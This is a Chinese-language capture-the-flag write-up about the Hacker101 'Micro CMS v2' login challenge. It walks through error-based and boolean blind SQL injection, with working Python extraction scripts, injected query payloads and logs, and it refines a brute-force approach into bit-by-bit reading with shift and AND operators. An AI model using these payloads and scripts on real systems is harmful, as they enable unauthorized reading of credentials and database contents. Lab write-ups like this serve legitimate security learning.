在玩 Hacker101 , 最开始遇到SQL问题的时候,基本上是 sqlmap 一把梭,很少有手动写注入的时候,以至于每次打CTF遇到了Web注入相关的题目用 sqlmap 解决不了又不会写 tamper,然后就完全做不成,趁现在周末有时间,手动玩注入试试水,摸了一个比较快的读取SQL数据的方案 - 按bit位读取。

题目 MicroCMS v2 - part1 注入部分

Micro CMS v2 这个题目第一部分留了一个登录框,明显是用来做注入用的,简单测试了一下反馈,有 Unknown user 一个反馈,随便输入SQL的 "' 试一下注入,得到了SQL的报错:

Traceback (most recent call last):
  File "./main.py", line 145, in do_login
    if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:
  File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 255, in execute
    self.errorhandler(self, exc, value)
  File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler
    raise errorvalue
ProgrammingError: (1064, 'You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near \'"\'\' at line 1')

SQL语句简单的过滤了 %(两个%%相当于简单的%)将其的含义转义成了普通字符,禁用了模糊查询,试了一下简单的测试 ' or 1; -- 得到了一个 Invalid password 的错误反馈,大概逻辑:

if pwd = query(sql) {
    if pwd == form['password'] {
        登录成功
    }
}

当然,这不太重要,拿个错误反馈就可以进行基于错误的盲注了,最开始,打算的是爆破:

def query_username_length(length):
    query = "' or LENGTH(username) = "+str(length)+" limit 1; --"
    print('query-test: SELECT password FROM admins WHERE username=\'%s\'' %
          query.replace('%', '%%'))
    resp = requests.post('http://*.*.*.*/680bed1d7f/login',
                         {'username': query, 'password': 'dxkite'})
    # print(resp.text)
    if 'Invalid password' in resp.text:
        return True
    return False

def query_username_index(index,ch):
    query = "' or ASCII(SUBSTR(username,"+str(index)+",1)) = "+str(ch)+" limit 1; --"
    print('query-test: SELECT password FROM admins WHERE username=\'%s\'' %
          query.replace('%', '%%'))
    resp = requests.post('http://*.*.*.*/680bed1d7f/login',
                         {'username': query, 'password': 'dxkite'})
    # print(resp.text)
    if 'Invalid password' in resp.text:
        return True
    return False

def test_username_length(max_len):
    username_length = 0
    for a in range(1, max_len):
        if query_username_length(a):
            print('username length', a)
            username_length = a
            break
    return username_length

def test_username(max_len):
    username = ''
    for a in range(1, max_len +1):
        for b in range(0, 256): 
            if query_username_index(a, b):
                print('find index =',a,'char =', chr(b))
                username += chr(b)
                break
    return username

执行SQL类似于:

query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 1 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 2 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 3 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 4 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 5 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 6 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 7 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 8 limit 1; --'
username length 8
username length = 8
query-test: SELECT password FROM admins WHERE username='' or ASCII(SUBSTR(username,1,1)) = 0 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ASCII(SUBSTR(username,1,1)) = 1 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ASCII(SUBSTR(username,1,1)) = 2 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ASCII(SUBSTR(username,1,1)) = 3 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ASCII(SUBSTR(username,1,1)) = 4 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ASCII(SUBSTR(username,1,1)) = 5 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ASCII(SUBSTR(username,1,1)) = 6 limit 1; --'

通过 LENGTH 函数得出长度,再使用 ASCII(SUBSTR(username,n,1)) = k 来暴力枚举一位置上的数据,最坏情况下SQL查询的次数是密码长度n的256倍,耗时还麻烦,如果仅仅是这个那也不必写这篇文章了。

位与位移运算

MySQL中存在一些常见但是不常用的运算符号,>><<&|,其实在编程里面也很少用,不过有时候为了优化行能也会使用位运算来处理或者作为索引操作,如获取某一位的bit值

func (b BitSet) Get(index int64) bool {
    byteIndex := index / 8
    offset := index % 8
    if byteIndex < 0 || byteIndex >= int64(len(b)) {
        return false
    }
    return b[byteIndex]>>(7-offset)&1 != 0
}

提取出来的操作即为:ch >> (7-offset) & 1 == 1 可以用来判断 choffset 位的bit值,运算原理如下:

a = b00100100
b = a >> 1  # b00100100 向右移一位变成了 b00010010
c = b & 1   # b00010010 & b00000001 = 0 位与,1&1=1, 0&1=0

根据以上的原理,对SQL数据的枚举就变成了显示的读,将 ch >> (7-offset) & 1 == 1 写成SQL形式 ((ASCII(SUBSTR(username,n,1)) >> offset) & 1) = 1,通过 n 来控制读取某一个字节,通过 offset 来读取字节上的bit值,这时只有两种情况,0 或者 1,完全对应了每一个字节的每个bit的值,将原有的最坏情况 O(n*256) 的次数,变成了 O(n*8),直接逐个bit位读取:

def query_username_length(length):
    query = "' or LENGTH(username) = "+str(length)+" limit 1; --"
    print('query-test: SELECT password FROM admins WHERE username=\'%s\'' %
          query.replace('%', '%%'))
    resp = requests.post('http://*.*.*.*/680bed1d7f/login',
                         {'username': query, 'password': 'dxkite'})
    # print(resp.text)
    if 'Invalid password' in resp.text:
        return True
    return False

def query_username_index(index, offset):
    query = "' or ((ASCII(SUBSTR(username,"+str(index)+",1)) >> "+str(7-offset)+") & 1) = 1 limit 1; --"
    print('query-test: SELECT password FROM admins WHERE username=\'%s\'' %
          query.replace('%', '%%'))
    resp = requests.post('http://*.*.*.*/680bed1d7f/login',
                         {'username': query, 'password': 'dxkite'})
    # print(resp.text)
    if 'Invalid password' in resp.text:
        return 1
    return 0

def test_username_length(max_len):
    username_length = 0
    for a in range(1, max_len):
        if query_username_length(a):
            print('username length', a)
            username_length = a
            break
    return username_length

def test_username(max_len):
    username = ''
    for a in range(1, max_len +1):
        ch = 0
        for b in range(0, 8): 
            ii = query_username_index(a, b)
            ch += ii * (2**(7-b)) 
        username += chr(ch)
        print('find username', username)
    return username

执行SQL类似于:

query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 1 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 2 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 3 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 4 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 5 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 6 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 7 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 8 limit 1; --'
username length 8
username length = 8
query-test: SELECT password FROM admins WHERE username='' or ((ASCII(SUBSTR(username,1,1)) >> 7) & 1) = 1 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ((ASCII(SUBSTR(username,1,1)) >> 6) & 1) = 1 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ((ASCII(SUBSTR(username,1,1)) >> 5) & 1) = 1 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ((ASCII(SUBSTR(username,1,1)) >> 4) & 1) = 1 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ((ASCII(SUBSTR(username,1,1)) >> 3) & 1) = 1 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ((ASCII(SUBSTR(username,1,1)) >> 2) & 1) = 1 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ((ASCII(SUBSTR(username,1,1)) >> 1) & 1) = 1 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ((ASCII(SUBSTR(username,1,1)) >> 0) & 1) = 1 limit 1; --'
find username r

通过灵活使用SQL的位移与位运算符号,可以实现读取SQL中的数据而不用通过耗时的枚举来处理数据了。